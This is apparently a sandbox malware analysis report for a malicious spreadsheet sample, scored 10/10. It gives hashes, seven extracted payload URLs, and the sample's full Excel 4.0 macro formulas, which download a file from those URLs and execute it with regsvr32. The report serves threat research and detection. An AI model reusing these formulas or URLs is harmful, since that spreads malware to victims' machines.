General
-
Target
3439b7bb9efeed7e306c3629493b8745d1e7c476a50e5278fa3ed98ec40aed6f
-
Size
38KB
-
Sample
241120-1rl9aavdnq
-
MD5
4099c8ad062e5995a4c8857876b964c3
-
SHA1
ccd142be7d0eb568b6220dbd7e7bc52d9ddf3366
-
SHA256
3439b7bb9efeed7e306c3629493b8745d1e7c476a50e5278fa3ed98ec40aed6f
-
SHA512
d711aa5af9c76231fe640b97f0fd76f7db9571d18aec2624b0fda6b2613360616cabad9b8ceadb104edd2f44aa7c3f0863a53a0ca02754ef07e33287d9520890
-
SSDEEP
768:2bdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:uwDOZZ1ZYpoQ/pMAeVIyYzaT
Malware Config
Extracted
https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/
https://risamfg.com/wp-admin/JtqFQW/
https://thailand-rocco.com/wp-content/gE7UvFwLh/
https://pregy.org/test/rXTl1DEv0CWCE/
https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/
https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/
https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()
Extracted
https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/
https://risamfg.com/wp-admin/JtqFQW/
https://thailand-rocco.com/wp-content/gE7UvFwLh/
https://pregy.org/test/rXTl1DEv0CWCE/
https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/
https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/
https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/
Targets
-
-
Target
3439b7bb9efeed7e306c3629493b8745d1e7c476a50e5278fa3ed98ec40aed6f
-
Size
38KB
-
MD5
4099c8ad062e5995a4c8857876b964c3
-
SHA1
ccd142be7d0eb568b6220dbd7e7bc52d9ddf3366
-
SHA256
3439b7bb9efeed7e306c3629493b8745d1e7c476a50e5278fa3ed98ec40aed6f
-
SHA512
d711aa5af9c76231fe640b97f0fd76f7db9571d18aec2624b0fda6b2613360616cabad9b8ceadb104edd2f44aa7c3f0863a53a0ca02754ef07e33287d9520890
-
SSDEEP
768:2bdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:uwDOZZ1ZYpoQ/pMAeVIyYzaT
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-